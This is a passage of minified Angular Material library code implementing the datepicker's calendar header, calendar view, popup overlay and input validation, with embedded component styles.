prevButtonLabel(){return{month:this._intl.prevMonthLabel,year:this._intl.prevYearLabel,"multi-year":this._intl.prevMultiYearLabel}[this.calendar.currentView]}get nextButtonLabel(){return{month:this._intl.nextMonthLabel,year:this._intl.nextYearLabel,"multi-year":this._intl.nextMultiYearLabel}[this.calendar.currentView]}currentPeriodClicked(){this.calendar.currentView="month"==this.calendar.currentView?"multi-year":"month"}previousClicked(){this.calendar.activeDate="month"==this.calendar.currentView?this._dateAdapter.addCalendarMonths(this.calendar.activeDate,-1):this._dateAdapter.addCalendarYears(this.calendar.activeDate,"year"==this.calendar.currentView?-1:-Vt)}nextClicked(){this.calendar.activeDate="month"==this.calendar.currentView?this._dateAdapter.addCalendarMonths(this.calendar.activeDate,1):this._dateAdapter.addCalendarYears(this.calendar.activeDate,"year"==this.calendar.currentView?1:Vt)}previousEnabled(){return!this.calendar.minDate||!this.calendar.minDate||!this._isSameView(this.calendar.activeDate,this.calendar.minDate)}nextEnabled(){return!this.calendar.maxDate||!this._isSameView(this.calendar.activeDate,this.calendar.maxDate)}_isSameView(h,$){return"month"==this.calendar.currentView?this._dateAdapter.getYear(h)==this._dateAdapter.getYear($)&&this._dateAdapter.getMonth(h)==this._dateAdapter.getMonth($):"year"==this.calendar.currentView?this._dateAdapter.getYear(h)==this._dateAdapter.getYear($):u1(this._dateAdapter,h,$,this.calendar.minDate,this.calendar.maxDate)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36((0,c.Gpc)(()=>Pe)),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(c.sBO))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-calendar-header"]],exportAs:["matCalendarHeader"],ngContentSelectors:Oe,decls:11,vars:10,consts:[[1,"mat-calendar-header"],[1,"mat-calendar-controls"],["mat-button","","type","button","aria-live","polite",1,"mat-calendar-period-button",3,"click"],["viewBox","0 0 10 5","focusable","false",1,"mat-calendar-arrow"],["points","0,0 5,5 10,0"],[1,"mat-calendar-spacer"],["mat-icon-button","","type","button",1,"mat-calendar-previous-button",3,"disabled","click"],["mat-icon-button","","type","button",1,"mat-calendar-next-button",3,"disabled","click"]],template:function(h,$){1&h&&(c.F$t(),c.TgZ(0,"div",0)(1,"div",1)(2,"button",2),c.NdJ("click",function(){return $.currentPeriodClicked()}),c.TgZ(3,"span"),c._uU(4),c.qZA(),c.O4$(),c.TgZ(5,"svg",3),c._UZ(6,"polygon",4),c.qZA()(),c.kcU(),c._UZ(7,"div",5),c.Hsn(8),c.TgZ(9,"button",6),c.NdJ("click",function(){return $.previousClicked()}),c.qZA(),c.TgZ(10,"button",7),c.NdJ("click",function(){return $.nextClicked()}),c.qZA()()()),2&h&&(c.xp6(2),c.uIk("aria-label",$.periodButtonLabel)("aria-describedby",$._buttonDescriptionId),c.xp6(1),c.uIk("id",$._buttonDescriptionId),c.xp6(1),c.Oqu($.periodButtonText),c.xp6(1),c.ekj("mat-calendar-invert","month"!==$.calendar.currentView),c.xp6(4),c.Q6J("disabled",!$.previousEnabled()),c.uIk("aria-label",$.prevButtonLabel),c.xp6(1),c.Q6J("disabled",!$.nextEnabled()),c.uIk("aria-label",$.nextButtonLabel))},dependencies:[f.lW],encapsulation:2,changeDetection:0}),O})(),Pe=(()=>{class O{constructor(h,$,ke,lt){this._dateAdapter=$,this._dateFormats=ke,this._changeDetectorRef=lt,this._moveFocusOnNextTick=!1,this.startView="month",this.selectedChange=new c.vpe,this.yearSelected=new c.vpe,this.monthSelected=new c.vpe,this.viewChanged=new c.vpe(!0),this._userSelection=new c.vpe,this.stateChanges=new S.xQ,this._intlChanges=h.changes.subscribe(()=>{lt.markForCheck(),this.stateChanges.next()})}get startAt(){return this._startAt}set startAt(h){this._startAt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get activeDate(){return this._clampedActiveDate}set activeDate(h){this._clampedActiveDate=this._dateAdapter.clampDate(h,this.minDate,this.maxDate),this.stateChanges.next(),this._changeDetectorRef.markForCheck()}get currentView(){return this._currentView}set currentView(h){const $=this._currentView!==h?h:null;this._currentView=h,this._moveFocusOnNextTick=!0,this._changeDetectorRef.markForCheck(),$&&this.viewChanged.emit($)}ngAfterContentInit(){this._calendarHeaderPortal=new s.C5(this.headerComponent||be),this.activeDate=this.startAt||this._dateAdapter.today(),this._currentView=this.startView}ngAfterViewChecked(){this._moveFocusOnNextTick&&(this._moveFocusOnNextTick=!1,this.focusActiveCell())}ngOnDestroy(){this._intlChanges.unsubscribe(),this.stateChanges.complete()}ngOnChanges(h){const $=h.minDate&&!this._dateAdapter.sameDate(h.minDate.previousValue,h.minDate.currentValue)?h.minDate:void 0,ke=h.maxDate&&!this._dateAdapter.sameDate(h.maxDate.previousValue,h.maxDate.currentValue)?h.maxDate:void 0,lt=$||ke||h.dateFilter;if(lt&&!lt.firstChange){const Wt=this._getCurrentViewComponent();Wt&&(this._changeDetectorRef.detectChanges(),Wt._init())}this.stateChanges.next()}focusActiveCell(){this._getCurrentViewComponent()._focusActiveCell(!1)}updateTodaysDate(){this._getCurrentViewComponent()._init()}_dateSelected(h){const $=h.value;(this.selected instanceof Je||$&&!this._dateAdapter.sameDate($,this.selected))&&this.selectedChange.emit($),this._userSelection.emit(h)}_yearSelectedInMultiYearView(h){this.yearSelected.emit(h)}_monthSelectedInYearView(h){this.monthSelected.emit(h)}_goToDateInView(h,$){this.activeDate=h,this.currentView=$}_getCurrentViewComponent(){return this.monthView||this.yearView||this.multiYearView}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(c.sBO))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-calendar"]],viewQuery:function(h,$){if(1&h&&(c.Gf(wt,5),c.Gf(kt,5),c.Gf(qt,5)),2&h){let ke;c.iGM(ke=c.CRH())&&($.monthView=ke.first),c.iGM(ke=c.CRH())&&($.yearView=ke.first),c.iGM(ke=c.CRH())&&($.multiYearView=ke.first)}},hostAttrs:[1,"mat-calendar"],inputs:{headerComponent:"headerComponent",startAt:"startAt",startView:"startView",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd"},outputs:{selectedChange:"selectedChange",yearSelected:"yearSelected",monthSelected:"monthSelected",viewChanged:"viewChanged",_userSelection:"_userSelection"},exportAs:["matCalendar"],features:[c._Bn([te]),c.TTD],decls:5,vars:5,consts:[[3,"cdkPortalOutlet"],["cdkMonitorSubtreeFocus","","tabindex","-1",1,"mat-calendar-content",3,"ngSwitch"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","comparisonStart","comparisonEnd","activeDateChange","_userSelection",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","monthSelected","selectedChange",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","yearSelected","selectedChange",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","comparisonStart","comparisonEnd","activeDateChange","_userSelection"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","monthSelected","selectedChange"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","yearSelected","selectedChange"]],template:function(h,$){1&h&&(c.YNc(0,Qe,0,0,"ng-template",0),c.TgZ(1,"div",1),c.YNc(2,Ye,1,8,"mat-month-view",2),c.YNc(3,qe,1,6,"mat-year-view",3),c.YNc(4,Ke,1,6,"mat-multi-year-view",4),c.qZA()),2&h&&(c.Q6J("cdkPortalOutlet",$._calendarHeaderPortal),c.xp6(1),c.Q6J("ngSwitch",$.currentView),c.xp6(1),c.Q6J("ngSwitchCase","month"),c.xp6(1),c.Q6J("ngSwitchCase","year"),c.xp6(1),c.Q6J("ngSwitchCase","multi-year"))},dependencies:[u.RF,u.n9,n.kH,s.Pl,wt,kt,qt],styles:[\'.mat-calendar{display:block}.mat-calendar-header{padding:8px 8px 0 8px}.mat-calendar-content{padding:0 8px 8px 8px;outline:none}.mat-calendar-controls{display:flex;margin:5% calc(4.7142857143% - 16px)}.mat-calendar-controls .mat-icon-button:hover .mat-button-focus-overlay{opacity:.04}.mat-calendar-spacer{flex:1 1 auto}.mat-calendar-period-button{min-width:0}.mat-calendar-arrow{display:inline-block;width:10px;height:5px;margin:0 0 0 5px;vertical-align:middle}.mat-calendar-arrow.mat-calendar-invert{transform:rotate(180deg)}[dir=rtl] .mat-calendar-arrow{margin:0 5px 0 0}.cdk-high-contrast-active .mat-calendar-arrow{fill:CanvasText}.mat-calendar-previous-button,.mat-calendar-next-button{position:relative}.mat-calendar-previous-button::after,.mat-calendar-next-button::after{top:0;left:0;right:0;bottom:0;position:absolute;content:"";margin:15.5px;border:0 solid currentColor;border-top-width:2px}[dir=rtl] .mat-calendar-previous-button,[dir=rtl] .mat-calendar-next-button{transform:rotate(180deg)}.mat-calendar-previous-button::after{border-left-width:2px;transform:translateX(2px) rotate(-45deg)}.mat-calendar-next-button::after{border-right-width:2px;transform:translateX(-2px) rotate(45deg)}.mat-calendar-table{border-spacing:0;border-collapse:collapse;width:100%}.mat-calendar-table-header th{text-align:center;padding:0 0 8px 0}.mat-calendar-table-header-divider{position:relative;height:1px}.mat-calendar-table-header-divider::after{content:"";position:absolute;top:0;left:-8px;right:-8px;height:1px}.mat-calendar-body-cell-content::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.mat-calendar-body-cell:focus .mat-focus-indicator::before{content:""}\'],encapsulation:2,changeDetection:0}),O})();const Re={transformPanel:(0,k.X$)("transformPanel",[(0,k.eR)("void => enter-dropdown",(0,k.jt)("120ms cubic-bezier(0, 0, 0.2, 1)",(0,k.F4)([(0,k.oB)({opacity:0,transform:"scale(1, 0.8)"}),(0,k.oB)({opacity:1,transform:"scale(1, 1)"})]))),(0,k.eR)("void => enter-dialog",(0,k.jt)("150ms cubic-bezier(0, 0, 0.2, 1)",(0,k.F4)([(0,k.oB)({opacity:0,transform:"scale(0.7)"}),(0,k.oB)({transform:"none",opacity:1})]))),(0,k.eR)("* => void",(0,k.jt)("100ms linear",(0,k.oB)({opacity:0})))]),fadeInCalendar:(0,k.X$)("fadeInCalendar",[(0,k.SB)("void",(0,k.oB)({opacity:0})),(0,k.SB)("enter",(0,k.oB)({opacity:1})),(0,k.eR)("void => *",(0,k.jt)("120ms 100ms cubic-bezier(0.55, 0, 0.55, 0.2)"))])};let Ue=0;const xe=new c.OlP("mat-datepicker-scroll-strategy"),Ae={provide:xe,deps:[a.aV],useFactory:function J(O){return()=>O.scrollStrategies.reposition()}},mt=(0,_.pj)(class{constructor(O){this._elementRef=O}});let Ct=(()=>{class O extends mt{constructor(h,$,ke,lt,Wt,p1){super(h),this._changeDetectorRef=$,this._globalModel=ke,this._dateAdapter=lt,this._rangeSelectionStrategy=Wt,this._subscriptions=new g.w,this._animationDone=new S.xQ,this._actionsPortal=null,this._closeButtonText=p1.closeCalendarLabel}ngOnInit(){this._animationState=this.datepicker.touchUi?"enter-dialog":"enter-dropdown"}ngAfterViewInit(){this._subscriptions.add(this.datepicker.stateChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})),this._calendar.focusActiveCell()}ngOnDestroy(){this._subscriptions.unsubscribe(),this._animationDone.complete()}_handleUserSelection(h){const $=this._model.selection,ke=h.value,lt=$ instanceof Je;if(lt&&this._rangeSelectionStrategy){const Wt=this._rangeSelectionStrategy.selectionFinished(ke,$,h.event);this._model.updateSelection(Wt,this)}else ke&&(lt||!this._dateAdapter.sameDate(ke,$))&&this._model.add(ke);(!this._model||this._model.isComplete())&&!this._actionsPortal&&this.datepicker.close()}_startExitAnimation(){this._animationState="void",this._changeDetectorRef.markForCheck()}_getSelected(){return this._model.selection}_applyPendingSelection(){this._model!==this._globalModel&&this._globalModel.updateSelection(this._model.selection,this)}_assignActions(h,$){this._model=h?this._globalModel.clone():this._globalModel,this._actionsPortal=h,$&&this._changeDetectorRef.detectChanges()}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(Et),c.Y36(_._A),c.Y36(b,8),c.Y36(pe))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker-content"]],viewQuery:function(h,$){if(1&h&&c.Gf(Pe,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._calendar=ke.first)}},hostAttrs:[1,"mat-datepicker-content"],hostVars:3,hostBindings:function(h,$){1&h&&c.WFA("@transformPanel.done",function(){return $._animationDone.next()}),2&h&&(c.d8E("@transformPanel",$._animationState),c.ekj("mat-datepicker-content-touch",$.datepicker.touchUi))},inputs:{color:"color"},exportAs:["matDatepickerContent"],features:[c.qOj],decls:5,vars:24,consts:[["cdkTrapFocus","","role","dialog",1,"mat-datepicker-content-container"],[3,"id","ngClass","startAt","startView","minDate","maxDate","dateFilter","headerComponent","selected","dateClass","comparisonStart","comparisonEnd","yearSelected","monthSelected","viewChanged","_userSelection"],[3,"cdkPortalOutlet"],["type","button","mat-raised-button","",1,"mat-datepicker-close-button",3,"color","focus","blur","click"]],template:function(h,$){if(1&h&&(c.TgZ(0,"div",0)(1,"mat-calendar",1),c.NdJ("yearSelected",function(lt){return $.datepicker._selectYear(lt)})("monthSelected",function(lt){return $.datepicker._selectMonth(lt)})("viewChanged",function(lt){return $.datepicker._viewChanged(lt)})("_userSelection",function(lt){return $._handleUserSelection(lt)}),c.qZA(),c.YNc(2,dt,0,0,"ng-template",2),c.TgZ(3,"button",3),c.NdJ("focus",function(){return $._closeButtonFocused=!0})("blur",function(){return $._closeButtonFocused=!1})("click",function(){return $.datepicker.close()}),c._uU(4),c.qZA()()),2&h){let ke;c.ekj("mat-datepicker-content-container-with-custom-header",$.datepicker.calendarHeaderComponent)("mat-datepicker-content-container-with-actions",$._actionsPortal),c.uIk("aria-modal",!0)("aria-labelledby",null!==(ke=$._dialogLabelId)&&void 0!==ke?ke:void 0),c.xp6(1),c.Q6J("id",$.datepicker.id)("ngClass",$.datepicker.panelClass)("startAt",$.datepicker.startAt)("startView",$.datepicker.startView)("minDate",$.datepicker._getMinDate())("maxDate",$.datepicker._getMaxDate())("dateFilter",$.datepicker._getDateFilter())("headerComponent",$.datepicker.calendarHeaderComponent)("selected",$._getSelected())("dateClass",$.datepicker.dateClass)("comparisonStart",$.comparisonStart)("comparisonEnd",$.comparisonEnd)("@fadeInCalendar","enter"),c.xp6(1),c.Q6J("cdkPortalOutlet",$._actionsPortal),c.xp6(1),c.ekj("cdk-visually-hidden",!$._closeButtonFocused),c.Q6J("color",$.color||"primary"),c.xp6(1),c.Oqu($._closeButtonText)}},dependencies:[u.mk,f.lW,n.mK,s.Pl,Pe],styles:[".mat-datepicker-content{display:block;border-radius:4px}.mat-datepicker-content .mat-calendar{width:296px;height:354px}.mat-datepicker-content .mat-datepicker-content-container-with-custom-header .mat-calendar{height:auto}.mat-datepicker-content .mat-datepicker-close-button{position:absolute;top:100%;left:0;margin-top:8px}.ng-animating .mat-datepicker-content .mat-datepicker-close-button{display:none}.mat-datepicker-content-container{display:flex;flex-direction:column;justify-content:space-between}.mat-datepicker-content-touch{display:block;max-height:80vh;position:relative;overflow:visible}.mat-datepicker-content-touch .mat-datepicker-content-container{min-height:312px;max-height:788px;min-width:250px;max-width:750px}.mat-datepicker-content-touch .mat-calendar{width:100%;height:auto}@media all and (orientation: landscape){.mat-datepicker-content-touch .mat-datepicker-content-container{width:64vh;height:80vh}}@media all and (orientation: portrait){.mat-datepicker-content-touch .mat-datepicker-content-container{width:80vw;height:100vw}.mat-datepicker-content-touch .mat-datepicker-content-container-with-actions{height:115vw}}"],encapsulation:2,data:{animation:[Re.transformPanel,Re.fadeInCalendar]},changeDetection:0}),O})(),jt=(()=>{class O{constructor(h,$,ke,lt,Wt,p1,w1){this._overlay=h,this._ngZone=$,this._viewContainerRef=ke,this._dateAdapter=Wt,this._dir=p1,this._model=w1,this._inputStateChanges=g.w.EMPTY,this._document=(0,c.f3M)(u.K0),this.startView="month",this._touchUi=!1,this.xPosition="start",this.yPosition="below",this._restoreFocus=!0,this.yearSelected=new c.vpe,this.monthSelected=new c.vpe,this.viewChanged=new c.vpe(!0),this.openedStream=new c.vpe,this.closedStream=new c.vpe,this._opened=!1,this.id="mat-datepicker-"+Ue++,this._focusedElementBeforeOpen=null,this._backdropHarnessClass=`${this.id}-backdrop`,this.stateChanges=new S.xQ,this._scrollStrategy=lt}get startAt(){return this._startAt||(this.datepickerInput?this.datepickerInput.getStartValue():null)}set startAt(h){this._startAt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get color(){return this._color||(this.datepickerInput?this.datepickerInput.getThemePalette():void 0)}set color(h){this._color=h}get touchUi(){return this._touchUi}set touchUi(h){this._touchUi=(0,oe.Ig)(h)}get disabled(){return void 0===this._disabled&&this.datepickerInput?this.datepickerInput.disabled:!!this._disabled}set disabled(h){const $=(0,oe.Ig)(h);$!==this._disabled&&(this._disabled=$,this.stateChanges.next(void 0))}get restoreFocus(){return this._restoreFocus}set restoreFocus(h){this._restoreFocus=(0,oe.Ig)(h)}get panelClass(){return this._panelClass}set panelClass(h){this._panelClass=(0,oe.du)(h)}get opened(){return this._opened}set opened(h){(0,oe.Ig)(h)?this.open():this.close()}_getMinDate(){return this.datepickerInput&&this.datepickerInput.min}_getMaxDate(){return this.datepickerInput&&this.datepickerInput.max}_getDateFilter(){return this.datepickerInput&&this.datepickerInput.dateFilter}ngOnChanges(h){const $=h.xPosition||h.yPosition;if($&&!$.firstChange&&this._overlayRef){const ke=this._overlayRef.getConfig().positionStrategy;ke instanceof a._G&&(this._setConnectedPositions(ke),this.opened&&this._overlayRef.updatePosition())}this.stateChanges.next(void 0)}ngOnDestroy(){this._destroyOverlay(),this.close(),this._inputStateChanges.unsubscribe(),this.stateChanges.complete()}select(h){this._model.add(h)}_selectYear(h){this.yearSelected.emit(h)}_selectMonth(h){this.monthSelected.emit(h)}_viewChanged(h){this.viewChanged.emit(h)}registerInput(h){return this._inputStateChanges.unsubscribe(),this.datepickerInput=h,this._inputStateChanges=h.stateChanges.subscribe(()=>this.stateChanges.next(void 0)),this._model}registerActions(h){this._actionsPortal=h,this._componentRef?.instance._assignActions(h,!0)}removeActions(h){h===this._actionsPortal&&(this._actionsPortal=null,this._componentRef?.instance._assignActions(null,!0))}open(){this._opened||this.disabled||(this._focusedElementBeforeOpen=(0,Ce.ht)(),this._openOverlay(),this._opened=!0,this.openedStream.emit())}close(){if(!this._opened)return;const h=this._restoreFocus&&this._focusedElementBeforeOpen&&"function"==typeof this._focusedElementBeforeOpen.focus,$=()=>{this._opened&&(this._opened=!1,this.closedStream.emit())};if(this._componentRef){const{instance:ke,location:lt}=this._componentRef;ke._startExitAnimation(),ke._animationDone.pipe((0,U.q)(1)).subscribe(()=>{const Wt=this._document.activeElement;h&&(!Wt||Wt===this._document.activeElement||lt.nativeElement.contains(Wt))&&this._focusedElementBeforeOpen.focus(),this._focusedElementBeforeOpen=null,this._destroyOverlay()})}h?setTimeout($):$()}_applyPendingSelection(){this._componentRef?.instance?._applyPendingSelection()}_forwardContentValues(h){h.datepicker=this,h.color=this.color,h._dialogLabelId=this.datepickerInput.getOverlayLabelId(),h._assignActions(this._actionsPortal,!1)}_openOverlay(){this._destroyOverlay();const h=this.touchUi,$=new s.C5(Ct,this._viewContainerRef),ke=this._overlayRef=this._overlay.create(new a.X_({positionStrategy:h?this._getDialogStrategy():this._getDropdownStrategy(),hasBackdrop:!0,backdropClass:[h?"cdk-overlay-dark-backdrop":"mat-overlay-transparent-backdrop",this._backdropHarnessClass],direction:this._dir,scrollStrategy:h?this._overlay.scrollStrategies.block():this._scrollStrategy(),panelClass:"mat-datepicker-"+(h?"dialog":"popup")}));this._getCloseStream(ke).subscribe(lt=>{lt&<.preventDefault(),this.close()}),ke.keydownEvents().subscribe(lt=>{const Wt=lt.keyCode;(Wt===H.LH||Wt===H.JH||Wt===H.oh||Wt===H.SV||Wt===H.Ku||Wt===H.VM)&<.preventDefault()}),this._componentRef=ke.attach($),this._forwardContentValues(this._componentRef.instance),h||this._ngZone.onStable.pipe((0,U.q)(1)).subscribe(()=>ke.updatePosition())}_destroyOverlay(){this._overlayRef&&(this._overlayRef.dispose(),this._overlayRef=this._componentRef=null)}_getDialogStrategy(){return this._overlay.position().global().centerHorizontally().centerVertically()}_getDropdownStrategy(){const h=this._overlay.position().flexibleConnectedTo(this.datepickerInput.getConnectedOverlayOrigin()).withTransformOriginOn(".mat-datepicker-content").withFlexibleDimensions(!1).withViewportMargin(8).withLockedPosition();return this._setConnectedPositions(h)}_setConnectedPositions(h){const $="end"===this.xPosition?"end":"start",ke="start"===$?"end":"start",lt="above"===this.yPosition?"bottom":"top",Wt="top"===lt?"bottom":"top";return h.withPositions([{originX:$,originY:Wt,overlayX:$,overlayY:lt},{originX:$,originY:lt,overlayX:$,overlayY:Wt},{originX:ke,originY:Wt,overlayX:ke,overlayY:lt},{originX:ke,originY:lt,overlayX:ke,overlayY:Wt}])}_getCloseStream(h){return(0,C.T)(h.backdropClick(),h.detachments(),h.keydownEvents().pipe((0,Q.h)($=>$.keyCode===H.hY&&!(0,H.Vb)($)||this.datepickerInput&&(0,H.Vb)($,"altKey")&&$.keyCode===H.LH)))}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(a.aV),c.Y36(c.R0b),c.Y36(c.s_b),c.Y36(xe),c.Y36(_._A,8),c.Y36(j.Is,8),c.Y36(Et))},O.\\u0275dir=c.lG2({type:O,inputs:{calendarHeaderComponent:"calendarHeaderComponent",startAt:"startAt",startView:"startView",color:"color",touchUi:"touchUi",disabled:"disabled",xPosition:"xPosition",yPosition:"yPosition",restoreFocus:"restoreFocus",dateClass:"dateClass",panelClass:"panelClass",opened:"opened"},outputs:{yearSelected:"yearSelected",monthSelected:"monthSelected",viewChanged:"viewChanged",openedStream:"opened",closedStream:"closed"},features:[c.TTD]}),O})(),pt=(()=>{class O extends jt{}return O.\\u0275fac=function(){let de;return function($){return(de||(de=c.n5z(O)))($||O)}}(),O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker"]],exportAs:["matDatepicker"],features:[c._Bn([te,{provide:jt,useExisting:O}]),c.qOj],decls:0,vars:0,template:function(h,$){},encapsulation:2,changeDetection:0}),O})();class nt{constructor(de,h){this.target=de,this.targetElement=h,this.value=this.target.value}}let fe=(()=>{class O{constructor(h,$,ke){this._elementRef=h,this._dateAdapter=$,this._dateFormats=ke,this.dateChange=new c.vpe,this.dateInput=new c.vpe,this.stateChanges=new S.xQ,this._onTouched=()=>{},this._validatorOnChange=()=>{},this._cvaOnChange=()=>{},this._valueChangesSubscription=g.w.EMPTY,this._localeSubscription=g.w.EMPTY,this._parseValidator=()=>this._lastValueValid?null:{matDatepickerParse:{text:this._elementRef.nativeElement.value}},this._filterValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value));return!Wt||this._matchesFilter(Wt)?null:{matDatepickerFilter:!0}},this._minValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value)),p1=this._getMinDate();return!p1||!Wt||this._dateAdapter.compareDate(p1,Wt)<=0?null:{matDatepickerMin:{min:p1,actual:Wt}}},this._maxValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value)),p1=this._getMaxDate();return!p1||!Wt||this._dateAdapter.compareDate(p1,Wt)>=0?null:{matDatepickerMax:{max:p1,actual:Wt}}},this._lastValueValid=!1,this._localeSubscription=$.localeChanges.subscribe(()=>{this._assignValueProgrammatically(this.value)})}get value(){return this._model?this._getValueFromModel(this._model.selection):this._pendingValue}set value(h){this._assignValueProgrammatically(h)}get disabled(){return!!this._disabled||this._parentDisabled()}set disabled(h){const $=(0,oe.Ig)(h),ke=this._elementRef.nativeElement;this._disabled!==$&&(this._disabled=$,this.stateChanges.next(void 0)),$&&this._isInitialized&&ke.blur&&ke.blur()}_getValidators(){return[this._parseValidator,this._minValidator,this._maxValidator,this._filterValidator]}_registerModel(h){this._model=h,this._valueChangesSubscription.unsubscribe(),this._pendingValue&&this._assignValue(this._pendingValue),this._valueChangesSubscription=this._model.selectionChanged.subscribe($=>{if(this._shouldHandleChangeEvent($)){const ke=this._getValueFromModel($.selection);this._lastValueValid=this._isValidValue(ke),this._cvaOnChange(ke),this._onTouched(),this._formatValue(ke),this.dateInput.emit(new nt(this,this._elementRef.nativeElement)),this.dateChange.emit(new nt(this,this._elementRef.nativeElement))}})}ngAfterViewInit(){this._isInitialized=!0}ngOnChanges(h){(function Ee(O,de){const h=Object.keys(O);for(let $ of h){const{previousValue:ke,currentValue:lt}=O[$];if(!de.isDateInstance(ke)||!de.isDateInstance(lt))return!0;if(!de.sameDate(ke,lt))return!0}return!1})(h,this._dateAdapter)&&this.stateChanges.next(void 0)}ngOnDestroy(){this._valueChangesSubscription.unsubscribe(),this._localeSubscription.unsubscribe(),this.stateChanges.complete()}registerOnValidatorChange(h){this._validatorOnChange=h}validate(h){return this._validator?this._validator(h):null}writeValue(h){this._assignValueProgrammatically(h)}registerOnChange(h){this._cvaOnChange=h}registerOnTouched(h){this._onTouched=h}setDisabledState(h){this.disabled=h}_onKeydown(h){h.altKey&&h.keyCode===H.JH&&!this._elementRef.nativeElement.readOnly&&(this._openPopup(),h.preventDefault())}_onInput(h){const $=this._lastValueValid;let ke=this._dateAdapter.parse(h,this._dateFormats.parse.dateInput);this._lastValueValid=this._isValidValue(ke),ke=this._dateAdapter.getValidDateOrNull(ke);const lt=!this._dateAdapter.sameDate(ke,this.value);!ke||lt?this._cvaOnChange(ke):(h&&!this.value&&this._cvaOnChange(ke),$!==this._lastValueValid&&this._validatorOnChange()),lt&&(this._assignValue(ke),this.dateInput.emit(new nt(this,this._elementRef.nativeElement)))}_onChange(){this.dateChange.emit(new nt(this,this._elementRef.nativeElement))}_onBlur(){this.value&&this._formatValue(this.value),this._onTouched()}_formatValue(h){this._elementRef.nativeElement.value=null!=h?this._dateAdapter.format(h,this._dateFormats.display.dateInput):""}_assignValue(h){this._model?(this._assignValueToModel(h),this._pendingValue=null):this._pendingValue=h}_isValidValue(h){return!h||this._dateAdapter.isValid(h)}_parentDisabled(){return!1}_assignValueProgrammatically(h){h=this._dateAdapter.deserialize(h),this._lastValueValid=this._isValidValue(h),h=this._dateAdapter.getValidDateOrNull(h),this._assignValue(h),this._formatValue(h)}_matchesFilter(h){const $=this._getDateFilter();return!$||$(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(_._A,8),c.Y36(_.sG,8))},O.\\u0275dir=c.lG2({type:O,inputs:{value:"value",disabled:"disabled"},outputs:{dateChange:"dateChange",dateInput:"dateInput"},features:[c.TTD]}),O})();const at={provide:K.JU,useExisting:(0,c.Gpc)(()=>ot),multi:!0},Se={provide:K.Cf,useExisting:(0,c.Gpc)(()=>ot),multi:!0};let ot=(()=>{class O extends fe{constructor(h,$,ke,lt){super(h,$,ke),this._formField=lt,this._closedSubscription=g.w.EMPTY,this._validator=K.kI.compose(super._getValidators())}set matDatepicker(h){h&&(this._datepicker=h,this._closedSubscription=h.closedStream.subscribe(()=>this._onTouched()),this._registerModel(h.registerInput(this)))}get min(){return this._min}set min(h){const $=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h));this._dateAdapter.sameDate($,this._min)||(this._min=$,this._validatorOnChange())}get max(){return this._max}set max(h){const $=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h));this._dateAdapter.sameDate($,this._max)||(this._max=$,this._validatorOnChange())}get dateFilter(){return this._dateFilter}set dateFilter(h){const $=this._matchesFilter(this.value);this._dateFilter=h,this._matchesFilter(this.value)!==$&&this._validatorOnChange()}getConnectedOverlayOrigin(){return this._formField?this._formField.getConnectedOverlayOrigin():this._elementRef}getOverlayLabelId(){return this._formField?this._formField.getLabelId():this._elementRef.nativeElement.getAttribute("aria-labelledby")}getThemePalette(){return this._formField?this._formField.color:void 0}getStartValue(){return this.value}ngOnDestroy(){super.ngOnDestroy(),this._closedSubscription.unsubscribe()}_openPopup(){this._datepicker&&this._datepicker.open()}_getValueFromModel(h){return h}_assignValueToModel(h){this._model&&this._model.updateSelection(h,this)}_getMinDate(){return this._min}_getMaxDate(){return this._max}_getDateFilter(){return this._dateFilter}_shouldHandleChangeEvent(h){return h.source!==this}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(se.G_,8))},O.\\u0275dir=c.lG2({type:O,selectors:[["input","matDatepicker",""]],hostAttrs:[1,"mat-datepicker-input"],hostVars:6,hostBindings:function(h,$){1&h&&c.NdJ("input",function(lt){return $._onInput(lt.target.value)})("change",function(){return $._onChange()})("blur",function(){return $._onBlur()})("keydown",function(lt){return 